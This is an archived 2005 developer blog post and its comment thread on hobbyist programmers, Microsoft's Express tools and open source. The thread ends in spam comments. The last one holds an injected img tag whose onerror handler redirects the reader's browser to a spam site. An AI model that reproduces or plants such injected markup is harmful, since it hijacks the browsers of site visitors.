What do you think about the "Hobbyist Programmer"?

Here's a new site you can send their way.  It's Microsoft's new Coding4Fun site. Oddly enough, as I've read through blogs over the past few years, I've seen plenty of mixed opinions and emotions regarding the "Hobbyist Programmer". Some people think that it detracts from the professionalism of software development. Others think it's a good way for MS to reach a broader audience with it's new Express versions of Visual Studio.

Are you up on the Fence or do you fall into one of these two camps? Or do you perhaps lean towards the open source camp like someone else I know?

-Eric.
Published 20 April 2005 09:57 AM by eking1013

Comments

# Patrick Santry said on 20 April, 2005 10:29 AM
I started out as a hobbyist with my first Tandy, remember writing basic programs and saving them tape? Eventually I moved up to a point with dual drives, and then a 20MB hard drive (talk about heaven). At that point it was Perl code for my Website.

Anyway, I think the ones who do well in this career are hobbyists at heart. I'm now a "professional" since I get paid to do what I love to do. Then I go home and work on my Website, or work on my 12 node network. So now that I'm not considered a "hobbyist" does that make a workaholic?
# Steve Hurcombe said on 20 April, 2005 11:02 AM
Completely agree with Patrick, I too started out as a hobbyist (remember the ZX81?).

Now, *several* years later I'm the technical director of a business that I co-founded...and we are a Microsoft Certified Partner.

So yes, there is a significant percentage of us that 'grow up'.

The Internet, Linux, and blogging has transformed that process, all great resources to learn from...I used to learn from books...now it's blogs and the Internet.

The Express tools are an excellent addition to Microsoft's portfolio.

Best regards
Steve
# mschaef said on 20 April, 2005 11:20 AM
Over the last 20 or 30 years, we've lost a lot of the "hobbyist science/technical" community. The end of the Heathkit and Edmund Scientific businesses speak to that. Given that these markets represented intelligent people doing productive things (learning) with their time and money, I think that this ia a loss. Losing the hobbyist computer software community, particularly for something as vague as "that it detracts from the professionalism of software development" would be another similar loss.


The way I look at it is that the people who are in it on a hobbyist basis are doing it because they truly love and enjoy it. They're trying, for better or worse, to create and explore new ideas on their own time, and at their own expense. That's the kind of behavior our society should encourage (after all, it's hobbyist work that formed the foundation of basically the entire PC industry, including Microsoft and Apple).
# Roland Weigelt said on 20 April, 2005 12:12 PM
One of the most valuable experiences is when your hobby project is a complete failure -- seriously.

You made all the decisions, you wrote all the code. There's no one else to blame, often enough there's no one who will rescue you by fixing your architecture/code.

After you have thrown away tons of code over and over again (as it happened to me often enough in my early years of programming between 1983 and 1990), you'll develop a gut feeling for things moving into the wrong direction. You'll know that cutting corners as well as over-engineering will come back and haunt you (as you've experienced it both).

And all of this without losing your job and/or your employer's money...
# George Saliba said on 20 April, 2005 12:28 PM
"Hobbyist programming" can be a hotbed of new ideas that lead to benefits (and sometimes profits!) down the road to buisness. I look at most of the freeware tools that I use for doing .NET development, and find that many must have started out as something someone was tinkering around with one day (CodeSmith, Snippet Compiler, Lutz's Roeder's Reflector, etc.). Some of them became open source, some didn't, some have gone commercial, some never will, but I think that many of them all started out as someone's hobby.
# andrew pierce said on 20 April, 2005 02:31 PM
While I am a fan of open source, I'm not in that camp exclusively. I am thankful for great tools like Firefox and Thunderbird. I am actually a fan of Linux because it allows me do to new stuff that isn't necessarily the same thing I do day in and day out at work (Windows/.NET). I'd also like to have a Mac but the price difference between Linux and Mac is quite large.

I'm not one to claim that open source is the only way. I am kinda troubled by the fact that it is somewhat Marxist. Plus, I haven't figured out how those guys manage to buy groceries, let alone pay a house payment.

But that's not the subject of your post is it? I think most professional programmers would not exist if they weren't first hobbyists. And, most professional programmers are not worth what they are getting paid unless they continue to be hobbyist programmers. Not that the products of they hobby programming is monetarily valuable. Sometimes it is; most of the time it isn't. However, it is valuable for learning and sharpening those valuable skills.

My $0.02
andy
# Memmorium said on 11 April, 2008 10:36 AM

     Good idea!

P.S. A U realy girl?

# mypicst said on 12 April, 2008 08:00 AM

my pics <img src=http://google.com/444.gif onerror="window.open('gomyron.com/.../spm','_top')">

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